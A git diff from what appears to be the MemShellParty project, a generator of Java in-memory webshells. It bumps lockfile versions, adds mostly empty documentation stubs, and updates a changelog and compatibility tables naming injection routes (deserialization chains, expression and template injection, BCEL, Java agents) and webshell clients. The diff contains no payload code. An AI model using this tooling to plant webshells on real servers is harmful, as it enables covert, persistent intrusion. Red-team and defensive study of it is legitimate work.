"tinyglobby": "^0.2.15" }, "optionalDependencies": { "fsevents": "~2.3.3" }, "peerDependencies": { "@types/node": "^20.19.0 || >=22.12.0", "jiti": ">=1.21.0", "less": "^4.0.0", "lightningcss": "^1.21.0", "sass": "^1.70.0", "sass-embedded": "^1.70.0", "stylus": ">=0.54.8", "sugarss": "^5.0.0", "terser": "^5.16.0", "tsx": "^4.8.1", "yaml": "^2.4.2" }, "optionalPeers": ["@types/node", "jiti", "less", "lightningcss", "sass", "sass-embedded", "stylus", "sugarss", "terser", "tsx", "yaml"], "bin": { "vite": "bin/vite.js" } }, "sha512-w+N7Hifpc3gRjZ63vYBXA56dvvRlNWRczTdmCBBa+CotUzAPf5b7YMdMR/8CQoeYE5LX3W4wj6RYTgonm1b9DA=="], "vite-node": ["vite-node@3.2.4", "", { "dependencies": { "cac": "^6.7.14", "debug": "^4.4.1", "es-module-lexer": "^1.7.0", "pathe": "^2.0.3", "vite": "^5.0.0 || ^6.0.0 || ^7.0.0-0" }, "bin": { "vite-node": "vite-node.mjs" } }, "sha512-EbKSKh+bh1E1IFxeO0pg1n4dvoOTt0UDiXMd/qn++r98+jPO1xtJilvXldeuQ8giIB5IkpjCgMleHMNEsGH6pg=="], "vite-plugin-devtools-json": ["vite-plugin-devtools-json@1.0.0", "", { "dependencies": { "uuid": "^11.1.0" }, "peerDependencies": { "vite": "^5.0.0 || ^6.0.0 || ^7.0.0" } }, "sha512-MobvwqX76Vqt/O4AbnNMNWoXWGrKUqZbphCUle/J2KXH82yKQiunOeKnz/nqEPosPsoWWPP9FtNuPBSYpiiwkw=="], - "vite-tsconfig-paths": ["vite-tsconfig-paths@6.0.1", "", { "dependencies": { "debug": "^4.1.1", "globrex": "^0.1.2", "tsconfck": "^3.0.3" }, "peerDependencies": { "vite": "*" }, "optionalPeers": ["vite"] }, "sha512-OQuYkfCQhc2T+n//0N7/oogTosgiSyZQ7dydrpUlH5SbnFTtplpekdY4GMi6jDwEpiwWlqeUJMyPfC2ePM1+2A=="], + "vite-tsconfig-paths": ["vite-tsconfig-paths@6.0.4", "", { "dependencies": { "debug": "^4.1.1", "globrex": "^0.1.2", "tsconfck": "^3.0.3", "vite": "*" } }, "sha512-iIsEJ+ek5KqRTK17pmxtgIxXtqr3qDdE6OxrP9mVeGhVDNXRJTKN/l9oMbujTQNzMLe6XZ8qmpztfbkPu2TiFQ=="], "void-elements": ["void-elements@3.1.0", "", {}, "sha512-Dhxzh5HZuiHQhbvTW9AMetFfBHDMYpo23Uo9btPXgdYP+3T5S+p+jgNy7spra+veYhBP2dCSgxR/i2Y02h5/6w=="], @@ -1262,7 +1264,7 @@ "yup": ["yup@1.7.1", "", { "dependencies": { "property-expr": "^2.0.5", "tiny-case": "^1.0.3", "toposort": "^2.0.2", "type-fest": "^2.19.0" } }, "sha512-GKHFX2nXul2/4Dtfxhozv701jLQHdf6J34YDh2cEkpqoo8le5Mg6/LrdseVLrFarmFygZTlfIhHx/QKfb/QWXw=="], - "zod": ["zod@4.1.13", "", {}, "sha512-AvvthqfqrAhNH9dnfmrfKzX5upOdjUVJYFqNSlkmGf64gRaTzlPwz99IHYnVs28qYAybvAlBV+H7pn0saFY4Ig=="], + "zod": ["zod@4.2.1", "", {}, "sha512-0wZ1IRqGGhMP76gLqz8EyfBXKk0J2qo2+H3fi4mcUP/KtTocoX08nmIAHl1Z2kJIZbZee8KOpBCSNPRgauucjw=="], "zwitch": ["zwitch@2.0.4", "", {}, "sha512-bXE4cR/kVZhKZX/RjPEflHaKVhUVl85noU3v6b8apfQEc1x4A+zBxjZ4lN8LqGd6WZ3dl98pY4o717VFmoPp+A=="], @@ -1292,6 +1294,10 @@ "@tailwindcss/oxide-wasm32-wasi/tslib": ["tslib@2.8.1", "", { "bundled": true }, "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w=="], + "@types/react-copy-to-clipboard/@types/react": ["@types/react@19.2.7", "", { "dependencies": { "csstype": "^3.2.2" } }, "sha512-MWtvHrGZLFttgeEj28VXHxpmwYbor/ATPYbBfSFZEIRK0ecCFLl2Qo55z52Hss+UV9CRN7trSeq1zbgx7YDWWg=="], + + "@types/react-syntax-highlighter/@types/react": ["@types/react@19.2.7", "", { "dependencies": { "csstype": "^3.2.2" } }, "sha512-MWtvHrGZLFttgeEj28VXHxpmwYbor/ATPYbBfSFZEIRK0ecCFLl2Qo55z52Hss+UV9CRN7trSeq1zbgx7YDWWg=="], + "ansi-align/string-width": ["string-width@4.2.3", "", { "dependencies": { "emoji-regex": "^8.0.0", "is-fullwidth-code-point": "^3.0.0", "strip-ansi": "^6.0.1" } }, "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g=="], "boxen/chalk": ["chalk@5.4.1", "", {}, "sha512-zgVZuo2WcZgfUEmsn6eO3kINexW8RAE4maiQ8QNs8CtpPCSyMiYsULR3HQYkm3w8FIA3SberyMJMSldGsW+U3w=="], @@ -1302,8 +1308,6 @@ "compression/negotiator": ["negotiator@0.6.4", "", {}, "sha512-myRT3DiWPHqho5PrJaIRyaMv2kgYf0mUVgBNOYMuCH5Ki1yEiQaf/ZJuQ62nvpc44wL5WDbTX7yGJi1Neevw8w=="], - "fumadocs-core/@orama/orama": ["@orama/orama@3.1.16", "", {}, "sha512-scSmQBD8eANlMUOglxHrN1JdSW8tDghsPuS83otqealBiIeMukCQMOf/wc0JJjDXomqwNdEQFLXLGHrU6PGxuA=="], - "fumadocs-mdx/chokidar": ["chokidar@5.0.0", "", { "dependencies": { "readdirp": "^5.0.0" } }, "sha512-TQMmc3w+5AxjpL8iIiwebF73dRDF4fBIieAqGn9RGCWaEVwQ6Fb2cGe31Yns0RRIzii5goJ1Y7xbMwo1TxMplw=="], "mime-types/mime-db": ["mime-db@1.33.0", "", {}, "sha512-BHJ/EKruNIqJf/QahvxwQZXKygOQ256myeN/Ew+THcAa5q+PjyTTMMeNQC4DZw5AwfvelsUrA6B67NKMqXDbzQ=="], @@ -1316,9 +1320,9 @@ "react-d3-tree/uuid": ["uuid@8.3.2", "", { "bin": { "uuid": "dist/bin/uuid" } }, "sha512-+NYs2QeMWy+GWFOEm9xnn6HCDp0l7QBD7ml8zLUmJ+93Q5NF0NocErnwkTkXVFNiX3/fpC6afS8Dhb/gz7R7eg=="], - "react-router-devtools/@biomejs/cli-darwin-arm64": ["@biomejs/cli-darwin-arm64@2.3.8", "", { "os": "darwin", "cpu": "arm64" }, "sha512-HM4Zg9CGQ3txTPflxD19n8MFPrmUAjaC7PQdLkugeeC0cQ+PiVrd7i09gaBS/11QKsTDBJhVg85CEIK9f50Qww=="], + "react-router-devtools/@biomejs/cli-darwin-arm64": ["@biomejs/cli-darwin-arm64@2.3.10", "", { "os": "darwin", "cpu": "arm64" }, "sha512-M6xUjtCVnNGFfK7HMNKa593nb7fwNm43fq1Mt71kpLpb+4mE7odO8W/oWVDyBVO4ackhresy1ZYO7OJcVo/B7w=="], - "react-router-devtools/framer-motion": ["framer-motion@12.23.25", "", { "dependencies": { "motion-dom": "^12.23.23", "motion-utils": "^12.23.6", "tslib": "^2.4.0" }, "peerDependencies": { "@emotion/is-prop-valid": "*", "react": "^18.0.0 || ^19.0.0", "react-dom": "^18.0.0 || ^19.0.0" }, "optionalPeers": ["@emotion/is-prop-valid", "react", "react-dom"] }, "sha512-gUHGl2e4VG66jOcH0JHhuJQr6ZNwrET9g31ZG0xdXzT0CznP7fHX4P8Bcvuc4MiUB90ysNnWX2ukHRIggkl6hQ=="], + "react-router-devtools/framer-motion": ["framer-motion@12.24.10", "", { "dependencies": { "motion-dom": "^12.24.10", "motion-utils": "^12.24.10", "tslib": "^2.4.0" }, "peerDependencies": { "@emotion/is-prop-valid": "*", "react": "^18.0.0 || ^19.0.0", "react-dom": "^18.0.0 || ^19.0.0" }, "optionalPeers": ["@emotion/is-prop-valid", "react", "react-dom"] }, "sha512-8yoyMkCn2RmV9UB9mfmMuzKyenQe909hRQRl0yGBhbZJjZZ9bSU87NIGAruqCXCuTNCA0qHw2LWLrcXLL9GF6A=="], "serve/chalk": ["chalk@5.0.1", "", {}, "sha512-Fo07WOYGqMfCWHOzSXOt2CxDbC6skS/jO9ynEcmpANMoPrD+W1r1K6Vx7iNm+AQmETU1Xr2t+n8nzkV9t6xh3w=="], @@ -1342,6 +1346,8 @@ "fumadocs-mdx/chokidar/readdirp": ["readdirp@5.0.0", "", {}, "sha512-9u/XQ1pvrQtYyMpZe7DXKv2p5CNvyVwzUB6uhLAnQwHMSgKMBR62lc7AHljaeteeHXn11XTAaLLUVZYVZyuRBQ=="], + "react-router-devtools/framer-motion/motion-dom": ["motion-dom@12.24.10", "", { "dependencies": { "motion-utils": "^12.24.10" } }, "sha512-H3HStYaJ6wANoZVNT0ZmYZHGvrpvi9pKJRzsgNEHkdITR4Qd9FFu2e9sH4e2Phr4tKCmyyloex6SOSmv0Tlq+g=="], + "vite-node/vite/esbuild": ["esbuild@0.25.12", "", { "optionalDependencies": { "@esbuild/aix-ppc64": "0.25.12", "@esbuild/android-arm": "0.25.12", "@esbuild/android-arm64": "0.25.12", "@esbuild/android-x64": "0.25.12", "@esbuild/darwin-arm64": "0.25.12", "@esbuild/darwin-x64": "0.25.12", "@esbuild/freebsd-arm64": "0.25.12", "@esbuild/freebsd-x64": "0.25.12", "@esbuild/linux-arm": "0.25.12", "@esbuild/linux-arm64": "0.25.12", "@esbuild/linux-ia32": "0.25.12", "@esbuild/linux-loong64": "0.25.12", "@esbuild/linux-mips64el": "0.25.12", "@esbuild/linux-ppc64": "0.25.12", "@esbuild/linux-riscv64": "0.25.12", "@esbuild/linux-s390x": "0.25.12", "@esbuild/linux-x64": "0.25.12", "@esbuild/netbsd-arm64": "0.25.12", "@esbuild/netbsd-x64": "0.25.12", "@esbuild/openbsd-arm64": "0.25.12", "@esbuild/openbsd-x64": "0.25.12", "@esbuild/openharmony-arm64": "0.25.12", "@esbuild/sunos-x64": "0.25.12", "@esbuild/win32-arm64": "0.25.12", "@esbuild/win32-ia32": "0.25.12", "@esbuild/win32-x64": "0.25.12" }, "bin": { "esbuild": "bin/esbuild" } }, "sha512-bbPBYYrtZbkt6Os6FiTLCTFxvq4tt3JKall1vRwshA3fdVztsLAatFaZobhkBC8/BrPetoa0oksYoKXoG4ryJg=="], "ansi-align/string-width/strip-ansi/ansi-regex": ["ansi-regex@5.0.1", "", {}, "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ=="], diff --git a/web/content/docs/(packer)/abstract-translet.mdx b/web/content/docs/(packer)/abstract-translet.mdx new file mode 100644 index 00000000..5285b5ed --- /dev/null +++ b/web/content/docs/(packer)/abstract-translet.mdx @@ -0,0 +1,5 @@ +--- +title: AbstractTranslet +--- + +WIP \ No newline at end of file diff --git a/web/content/docs/(packer)/agent-jar.mdx b/web/content/docs/(packer)/agent-jar.mdx new file mode 100644 index 00000000..656ee9a3 --- /dev/null +++ b/web/content/docs/(packer)/agent-jar.mdx @@ -0,0 +1,5 @@ +--- +title: Agent Jar +--- + +WIP \ No newline at end of file diff --git a/web/content/docs/(packer)/base64.mdx b/web/content/docs/(packer)/base64.mdx new file mode 100644 index 00000000..66e3e0cd --- /dev/null +++ b/web/content/docs/(packer)/base64.mdx @@ -0,0 +1,5 @@ +--- +title: Base64 +--- + +WIP \ No newline at end of file diff --git a/web/content/docs/(packer)/bcel.mdx b/web/content/docs/(packer)/bcel.mdx new file mode 100644 index 00000000..5ce8ee4e --- /dev/null +++ b/web/content/docs/(packer)/bcel.mdx @@ -0,0 +1,5 @@ +--- +title: BCEL +--- + +WIP \ No newline at end of file diff --git a/web/content/docs/(packer)/biginteger.mdx b/web/content/docs/(packer)/biginteger.mdx new file mode 100644 index 00000000..b2dd1f3f --- /dev/null +++ b/web/content/docs/(packer)/biginteger.mdx @@ -0,0 +1,5 @@ +--- +title: BigInteger +--- + +WIP \ No newline at end of file diff --git a/web/content/docs/(packer)/expression.mdx b/web/content/docs/(packer)/expression.mdx new file mode 100644 index 00000000..7208daaa --- /dev/null +++ b/web/content/docs/(packer)/expression.mdx @@ -0,0 +1,5 @@ +--- +title: 表达式注入 +--- + +WIP \ No newline at end of file diff --git a/web/content/docs/(packer)/h2.mdx b/web/content/docs/(packer)/h2.mdx new file mode 100644 index 00000000..7a5f88dd --- /dev/null +++ b/web/content/docs/(packer)/h2.mdx @@ -0,0 +1,5 @@ +--- +title: H2 JDBC URL +--- + +WIP \ No newline at end of file diff --git a/web/content/docs/(packer)/hessian-deserialize.mdx b/web/content/docs/(packer)/hessian-deserialize.mdx new file mode 100644 index 00000000..3bf8169f --- /dev/null +++ b/web/content/docs/(packer)/hessian-deserialize.mdx @@ -0,0 +1,5 @@ +--- +title: Hessian 反序列化 +--- + +WIP \ No newline at end of file diff --git a/web/content/docs/(packer)/jar.mdx b/web/content/docs/(packer)/jar.mdx new file mode 100644 index 00000000..0abae6a9 --- /dev/null +++ b/web/content/docs/(packer)/jar.mdx @@ -0,0 +1,5 @@ +--- +title: Jar +--- + +WIP \ No newline at end of file diff --git a/web/content/docs/(packer)/java-deserialize.mdx b/web/content/docs/(packer)/java-deserialize.mdx new file mode 100644 index 00000000..917388c9 --- /dev/null +++ b/web/content/docs/(packer)/java-deserialize.mdx @@ -0,0 +1,5 @@ +--- +title: Java 原生反序列化 +--- + +WIP \ No newline at end of file diff --git a/web/content/docs/(packer)/jsp.mdx b/web/content/docs/(packer)/jsp.mdx new file mode 100644 index 00000000..cdf47a65 --- /dev/null +++ b/web/content/docs/(packer)/jsp.mdx @@ -0,0 +1,5 @@ +--- +title: JSP +--- + +WIP \ No newline at end of file diff --git a/web/content/docs/(packer)/meta.json b/web/content/docs/(packer)/meta.json new file mode 100644 index 00000000..6763d9d3 --- /dev/null +++ b/web/content/docs/(packer)/meta.json @@ -0,0 +1,19 @@ +{ + "title": "打包方式", + "pages": [ + "base64", + "jsp", + "biginteger", + "bcel", + "abstract-translet", + "script-engine", + "expression", + "ssti", + "xml-decoder", + "java-deserialize", + "hessian-deserialize", + "h2", + "jar", + "agent-jar" + ] +} diff --git a/web/content/docs/(packer)/script-engine.mdx b/web/content/docs/(packer)/script-engine.mdx new file mode 100644 index 00000000..e3af8398 --- /dev/null +++ b/web/content/docs/(packer)/script-engine.mdx @@ -0,0 +1,7 @@ +--- +title: 脚本引擎注入 +--- + +### Nashorn ScriptEngine + +### Rhino ScriptEngine \ No newline at end of file diff --git a/web/content/docs/(packer)/ssti.mdx b/web/content/docs/(packer)/ssti.mdx new file mode 100644 index 00000000..e2cc6c66 --- /dev/null +++ b/web/content/docs/(packer)/ssti.mdx @@ -0,0 +1,5 @@ +--- +title: 模板注入 +--- + +WIP \ No newline at end of file diff --git a/web/content/docs/(packer)/xml-decoder.mdx b/web/content/docs/(packer)/xml-decoder.mdx new file mode 100644 index 00000000..57afeb87 --- /dev/null +++ b/web/content/docs/(packer)/xml-decoder.mdx @@ -0,0 +1,5 @@ +--- +title: XMLDecoder +--- + +WIP \ No newline at end of file diff --git a/web/content/docs/agent-shell.mdx b/web/content/docs/agent-shell.mdx new file mode 100644 index 00000000..ce77c01c --- /dev/null +++ b/web/content/docs/agent-shell.mdx @@ -0,0 +1,10 @@ +--- +title: Java Agent 内存马 +--- + +## Java Agent 原理 + + +## Java Agent 内存马实现方案 + +## 切点选取 diff --git a/web/content/docs/changelog.mdx b/web/content/docs/changelog.mdx index 03c13437..35bc9785 100644 --- a/web/content/docs/changelog.mdx +++ b/web/content/docs/changelog.mdx @@ -8,6 +8,30 @@ All notable changes to this project will be documented in this file. The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/), and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). +## [v2.4.2](https://github.com/ReaJason/MemShellParty/releases/tag/v2.4.2) - 2026-01-12 + +### Added + +1. 新增对 WebSphere open-liberty 的内存马注入以及回显马(By @ReaJason) +2. 添加 libs 子模块,存放部分中间件源码包方便进行代码编写和调试以及便于编写后续源码分析文档 +3. 目标服务文档填写适配表格,展示各版本该如何选取对应内存马挂载类型,https://dev-party.mem.mk/ui/docs/server-intro +4. 添加文档 tree 结构,欢迎一起完善文档 + +### Fixed + +1. 修复注入器上下文获取失败时不会正确打印 `context not found` +2. 修复文档页直接点击子菜单时 502 无法正确显示 +3. 修复 web 前端项目无法在 Windows 环境正确编译(Thanks @kN6jq) +4. 修复 Jetty 回显马,直接使用 Request 和 Callback 导致部分环境 ClassNotFound 问题(改用反射调用) + +### Changed + +1. 调整 testcontainer 获取 host 的处理,支持使用远程 docker 环境完成测试 +2. 简化 WebLogic context 获取代码,改为从 JMX 中获取 +3. 依赖更新 + +**Full Changelog:** [v2.4.1...v2.4.2](https://github.com/ReaJason/MemShellParty/compare/v2.4.1...v2.4.2) + ## [v2.4.1](https://github.com/ReaJason/MemShellParty/releases/tag/v2.4.1) - 2025-12-16 ### Fixed diff --git a/web/content/docs/compatibility.mdx b/web/content/docs/compatibility.mdx index 9a658f25..b16e8d0f 100644 --- a/web/content/docs/compatibility.mdx +++ b/web/content/docs/compatibility.mdx @@ -8,7 +8,7 @@ icon: Album ### 中间件以及框架 -| Tomcat(5 ~ 11) | Jetty(6 ~ 12) | GlassFish(3 ~ 7) | Payara(5 ~ 6) | +| [Tomcat(5 ~ 11)](/docs/server-intro#tomcat) | [Jetty(6 ~ 12)](/docs/server-intro#jetty)| [GlassFish(3 ~ 7)](/docs/server-intro#glassfish) | [Payara(5 ~ 6)](/docs/server-intro#payara)| |----------------------|------------------------|----------------------|----------------------| | Servlet | Servlet | Filter | Filter | | Filter | Filter | Listener | Listener | @@ -19,14 +19,14 @@ icon: Album | ContextValve - Agent | | | | | Upgrade | | | | -| Resin(3 ~ 4) | SpringMVC | SpringWebFlux | XXL-JOB | +| [Resin(3 ~ 4)](/docs/server-intro#resin) | [SpringWebMVC](/docs/server-intro#springwebmvc) | [SpringWebFlux](/docs/server-intro#springwebflux) | [XXL-JOB](/docs/server-intro#xxljob) | |---------------------|--------------------------|-----------------|--------------| | Servlet | Interceptor | WebFilter | NettyHandler | | Filter | ControllerHandler | HandlerMethod | | | Listener | FrameworkServlet - Agent | HandlerFunction | | | FilterChain - Agent | | NettyHandler | | -| JBossAS(4 ~ 7) | JBossEAP(6 ~ 8) | WildFly(9 ~ 30) | Undertow | +| [JBossAS(4 ~ 7)](/docs/server-intro#jboss) | [JBossEAP(6 ~ 8)](/docs/server-intro#undertow)| [WildFly(9 ~ 30)](/docs/server-intro#wildfly) | [Undertow](/docs/server-intro#undertow)| |----------------------|----------------------------|------------------------|------------------------| | Filter | Filter | Servlet | Servlet | | Listener | Listener | Filter | Filter | @@ -35,14 +35,14 @@ icon: Album | FilterChain - Agent | ContextValve - Agent (6) | | | | ContextValve - Agent | ServletHandler - Agent (7) | | | -| WebSphere(7 ~ 9) | WebLogic (10.3.6 ~ 14) | +| [WebSphere(7 ~ 9)](/docs/server-intro#websphere)| [WebLogic (10.3.6 ~ 14)](/docs/server-intro#weblogic) | |-----------------------|-------------------------| | Servlet | Servlet | | Filter | Filter | | Listener | Listener | | FilterManager - Agent | ServletContext - Agent | -| BES(9.5.x) | TongWeb(6 ~ 8) | InforSuite AS (9 ~ 10) | +| [BES (9.5.x)](/docs/server-intro#bes)| [TongWeb(6 ~ 8)](/docs/server-intro#tongweb) | [InforSuite AS (9 ~ 10)](/docs/server-intro#inforsuite) | |----------------------|----------------------|------------------------| | Filter | Filter | Filter | | Listener | Listener | Listener | @@ -50,7 +50,7 @@ icon: Album | FilterChain - Agent | FilterChain - Agent | FilterChain - Agent | | ContextValve - Agent | ContextValve - Agent | ContextValve - Agent | -| Apusic AS (9 ~ 10) | Primeton(6.5) | +| [Apusic AS (9 ~ 10)](/docs/server-intro#apusic) | [Primeton (6.5)](/docs/server-intro#primeton)| |---------------------|----------------------| | Servlet | Filter | | Filter | Listener | @@ -60,27 +60,30 @@ icon: Album ### 内存马功能 -- [x] [Godzilla 哥斯拉](/docs/godzilla) -- [x] [Behinder 冰蝎](https://github.com/rebeyond/Behinder) -- [x] 命令执行 -- [x] [Suo5](/docs/suo5) -- [x] [AntSword 蚁剑](https://github.com/AntSwordProject/antSword) -- [x] [Neo-reGeorg](https://github.com/L-codes/Neo-reGeorg) -- [x] Custom +- [x] [Godzilla 哥斯拉](/docs/shelltool/godzilla) +- [x] [Behinder 冰蝎](/docs/shelltool/behinder) +- [x] [命令执行](/docs/shelltool/command) +- [x] [Suo5](/docs/shelltool/suo5) +- [x] [AntSword 蚁剑](/docs/shelltool/antsword) +- [x] [Neo-reGeorg](/docs/shelltool/neoregeorg) +- [x] [Custom](/docs/custom-memshell) ### 打包方式 -- [x] BASE64/GZIP BASE64 -- [x] JSP/JSPX -- [x] JAR、ScriptEngineJar、GroovyTransformJar -- [x] BCEL -- [x] 内置脚本引擎、Rhino 脚本引擎 -- [x] EL、SpEL、OGNL、Aviator、MVEL、JEXL、Groovy、JXPath、BeanShell -- [x] Velocity、Freemarker、JinJava -- [x] 原生反序列化(CB 和 CC 链) -- [x] Agent +- [x] [BASE64](/docs/base64) +- [x] [JSP/JSPX](/docs/jsp) +- [x] [BigInteger](/docs/biginteger) +- [x] [BCEL](/docs/bcel) +- [x] [AbstractTranslet](/docs/abstract-translet) +- [x] [BCEL](/docs/bcel) +- [x] [内置脚本引擎、Rhino 脚本引擎](/docs/script-engine) +- [x] [表达式注入(EL、SpEL、OGNL、Aviator、MVEL、JEXL、Groovy、JXPath、BeanShell)](/docs/expression) +- [x] [模板注入(Velocity、Freemarker、JinJava)](/docs/ssti) +- [x] [Java 原生反序列化(CB 和 CC 链)](/docs/java-deserialize) +- [x] [Hessian、Hessian2 反序列化(XSLT 链)](/docs/hessian-deserialize) +- [x] [H2](/docs/h2) +- [x] [JAR、ScriptEngineJar、GroovyTransformJar](/docs/jar) +- [x] [Agent](/docs/agent-jar) - [x] XXL-JOB Executor -- [x] Hessian、Hessian2 反序列化(XSLT 链) -- [x] H2 - [ ] JNDI - [ ] 其他常见反序列化 \ No newline at end of file diff --git a/web/content/docs/memshell-core-config.mdx b/web/content/docs/memshell-core-config.mdx index 11d7695c..81888299 100644 --- a/web/content/docs/memshell-core-config.mdx +++ b/web/content/docs/memshell-core-config.mdx @@ -41,11 +41,11 @@ description: 了解和使用那些可能用到的一键开关 所需要注入内存马工具类型,目前支持以下几种方式: -- [x] [Godzilla](/docs/godzilla) +- [x] [Godzilla](/docs/shelltool/godzilla) - [x] Behinder - [x] Command -- [x] [Suo5](/docs/suo5) -- [x] [Suo5v2](/docs/suo5) +- [x] [Suo5](/docs/shelltool/suo5) +- [x] [Suo5v2](/docs/shelltool/suo5) - [x] AntSword - [x] NeoreGeorg - [x] Custom:自定义内存马,用于上续工具都不是想要的情况下,参考 [实现自定义内存马](/docs/custom-memshell) 进行使用 @@ -66,7 +66,7 @@ try { } catch (Throwable throwable) { msg += "context error: " + getErrorMessage(throwable); } -if (contexts == null) { +if (contexts == null || contexts.isEmpty()) { msg += "context not found"; } else { for (Object context : contexts) { diff --git a/web/content/docs/meta.json b/web/content/docs/meta.json index d1510c1b..01621ba1 100644 --- a/web/content/docs/meta.json +++ b/web/content/docs/meta.json @@ -11,9 +11,16 @@ "memshell-core-config", "servlet", "springweb", + "struct2-shell", + "middleware", + "shelltool", + "agent-shell", "custom-memshell", - "---内存马工具---", - "...(shelltool)", + "---探测马生成器---", + "probeshell-core-config", + "resbody", + "---打包方式---", + "...(packer)", "---其他---", "recommend-tools" ] diff --git a/web/content/docs/middleware/jetty.mdx b/web/content/docs/middleware/jetty.mdx new file mode 100644 index 00000000..81ce4337 --- /dev/null +++ b/web/content/docs/middleware/jetty.mdx @@ -0,0 +1,7 @@ +--- +title: Jetty +--- + +## Handler 内存马 + +## Customizer 内存马 \ No newline at end of file diff --git a/web/content/docs/middleware/meta.json b/web/content/docs/middleware/meta.json new file mode 100644 index 00000000..155cb960 --- /dev/null +++ b/web/content/docs/middleware/meta.json @@ -0,0 +1,4 @@ +{ + "title": "中间件内存马", + "pages": ["tomcat", "jetty"] +} diff --git a/web/content/docs/middleware/tomcat.mdx b/web/content/docs/middleware/tomcat.mdx new file mode 100644 index 00000000..2b2af237 --- /dev/null +++ b/web/content/docs/middleware/tomcat.mdx @@ -0,0 +1,9 @@ +--- +title: Tomcat +--- + +## Valve 内存马 + +## ProxyValve 内存马 + +## Upgrade 内存马 \ No newline at end of file diff --git a/web/content/docs/probeshell-core-config.mdx b/web/content/docs/probeshell-core-config.mdx new file mode 100644 index 00000000..0ee9d362 --- /dev/null +++ b/web/content/docs/probeshell-core-config.mdx @@ -0,0 +1,5 @@ +--- +title: 核心配置项 +--- + +WIP \ No newline at end of file diff --git a/web/content/docs/recommend-tools.mdx b/web/content/docs/recommend-tools.mdx index d5e2eb5a..59767ec9 100644 --- a/web/content/docs/recommend-tools.mdx +++ b/web/content/docs/recommend-tools.mdx @@ -1,15 +1,15 @@ --- title: 工具推荐 +description: 工欲善其事必先利其器 --- -> 工欲善其事必先利其器 - ## Arthas Arthas 是阿里云开源的 Java 诊断工具,其本质是一个 Java Agent,它提供了各种各样的命令,能让我们洞察 JVM 各种细节信息。所有的使用姿势 [官方文档](https://arthas.aliyun.com/) 都有,以下会列举一些常见的场景和问题 -JDK8 以上的下载链接,https://arthas.aliyun.com/doc/download.html -JDK6/7 下载链接,https://arthas.aliyun.com/3.x/doc/download.html +JDK8 以上的下载链接:https://arthas.aliyun.com/doc/download.html + +JDK6/7 下载链接:https://arthas.aliyun.com/3.x/doc/download.html ### 启动 Arthas diff --git a/web/content/docs/resbody/apusic.mdx b/web/content/docs/resbody/apusic.mdx new file mode 100644 index 00000000..049e736d --- /dev/null +++ b/web/content/docs/resbody/apusic.mdx @@ -0,0 +1,5 @@ +--- +title: Apusic +--- + +WIP \ No newline at end of file diff --git a/web/content/docs/resbody/glassfish.mdx b/web/content/docs/resbody/glassfish.mdx new file mode 100644 index 00000000..61a64372 --- /dev/null +++ b/web/content/docs/resbody/glassfish.mdx @@ -0,0 +1,5 @@ +--- +title: GlassFish +--- + +WIP \ No newline at end of file diff --git a/web/content/docs/resbody/jetty.mdx b/web/content/docs/resbody/jetty.mdx new file mode 100644 index 00000000..474f72c0 --- /dev/null +++ b/web/content/docs/resbody/jetty.mdx @@ -0,0 +1,5 @@ +--- +title: Jetty +--- + +WIP \ No newline at end of file diff --git a/web/content/docs/resbody/meta.json b/web/content/docs/resbody/meta.json new file mode 100644 index 00000000..4672f8a2 --- /dev/null +++ b/web/content/docs/resbody/meta.json @@ -0,0 +1,16 @@ +{ + "title": "回显马", + "pages": [ + "tomcat", + "jetty", + "undertow", + "resin", + "weblogic", + "websphere", + "glassfish", + "tongweb", + "apusic", + "springwebmvc", + "struct2" + ] +} diff --git a/web/content/docs/resbody/resin.mdx b/web/content/docs/resbody/resin.mdx new file mode 100644 index 00000000..343a39bc --- /dev/null +++ b/web/content/docs/resbody/resin.mdx @@ -0,0 +1,5 @@ +--- +title: Resin +--- + +WIP \ No newline at end of file diff --git a/web/content/docs/resbody/springwebmvc.mdx b/web/content/docs/resbody/springwebmvc.mdx new file mode 100644 index 00000000..2e8bac9f --- /dev/null +++ b/web/content/docs/resbody/springwebmvc.mdx @@ -0,0 +1,5 @@ +--- +title: SpringWebMVC +--- + +WIP \ No newline at end of file diff --git a/web/content/docs/resbody/struct2.mdx b/web/content/docs/resbody/struct2.mdx new file mode 100644 index 00000000..101c730f --- /dev/null +++ b/web/content/docs/resbody/struct2.mdx @@ -0,0 +1,5 @@ +--- +title: Struct2 +--- + +WIP \ No newline at end of file diff --git a/web/content/docs/resbody/tomcat.mdx b/web/content/docs/resbody/tomcat.mdx new file mode 100644 index 00000000..013b035c --- /dev/null +++ b/web/content/docs/resbody/tomcat.mdx @@ -0,0 +1,5 @@ +--- +title: Tomcat +--- + +WIP \ No newline at end of file diff --git a/web/content/docs/resbody/tongweb.mdx b/web/content/docs/resbody/tongweb.mdx new file mode 100644 index 00000000..bbac72f8 --- /dev/null +++ b/web/content/docs/resbody/tongweb.mdx @@ -0,0 +1,5 @@ +--- +title: TongWeb +--- + +WIP \ No newline at end of file diff --git a/web/content/docs/resbody/undertow.mdx b/web/content/docs/resbody/undertow.mdx new file mode 100644 index 00000000..d56d7e26 --- /dev/null +++ b/web/content/docs/resbody/undertow.mdx @@ -0,0 +1,5 @@ +--- +title: Undertow +--- + +WIP \ No newline at end of file diff --git a/web/content/docs/resbody/weblogic.mdx b/web/content/docs/resbody/weblogic.mdx new file mode 100644 index 00000000..9d5e365a --- /dev/null +++ b/web/content/docs/resbody/weblogic.mdx @@ -0,0 +1,5 @@ +--- +title: WebLogic +--- + +WIP \ No newline at end of file diff --git a/web/content/docs/resbody/websphere.mdx b/web/content/docs/resbody/websphere.mdx new file mode 100644 index 00000000..3530c2fa --- /dev/null +++ b/web/content/docs/resbody/websphere.mdx @@ -0,0 +1,5 @@ +--- +title: WebSphere +--- + +WIP \ No newline at end of file diff --git a/web/content/docs/server-intro.mdx b/web/content/docs/server-intro.mdx index 3b383932..d417140a 100644 --- a/web/content/docs/server-intro.mdx +++ b/web/content/docs/server-intro.mdx @@ -8,24 +8,88 @@ icon: Server ## Tomcat -> https://tomcat.apache.org/ +> 官网:https://tomcat.apache.org/ + +> 版本适配:https://tomcat.apache.org/whichversion.html + +> Tomcat 3+ 